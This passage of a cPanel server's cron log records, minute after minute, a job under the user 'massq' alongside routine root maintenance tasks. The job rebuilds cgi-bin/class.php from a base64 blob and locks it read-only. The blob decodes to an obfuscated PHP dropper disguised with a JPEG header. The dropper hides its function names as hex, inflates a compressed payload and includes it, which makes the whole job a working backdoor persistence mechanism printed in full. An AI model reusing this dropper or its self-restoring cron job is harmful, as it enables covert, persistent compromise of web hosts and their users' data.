vyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:04:01 server CROND[32253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:05:01 server CROND[32346]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:05:01 server CROND[32347]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 09:05:01 server CROND[32348]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:05:01 server CROND[32349]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:06:01 server CROND[32461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:07:01 server CROND[32610]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:08:01 server CROND[32705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:09:01 server CROND[32767]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 09:09:01 server CROND[313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:10:01 server CROND[369]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 09:10:01 server CROND[370]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:10:01 server CROND[371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:10:01 server CROND[372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:11:01 server CROND[472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:12:01 server CROND[574]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 09:12:01 server CROND[575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:13:01 server CROND[634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:14:01 server CROND[790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:15:01 server CROND[846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:15:01 server CROND[847]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 09:15:01 server CROND[848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 09:16:01 server CROND[952]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 09:17:01 server CROND[1025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 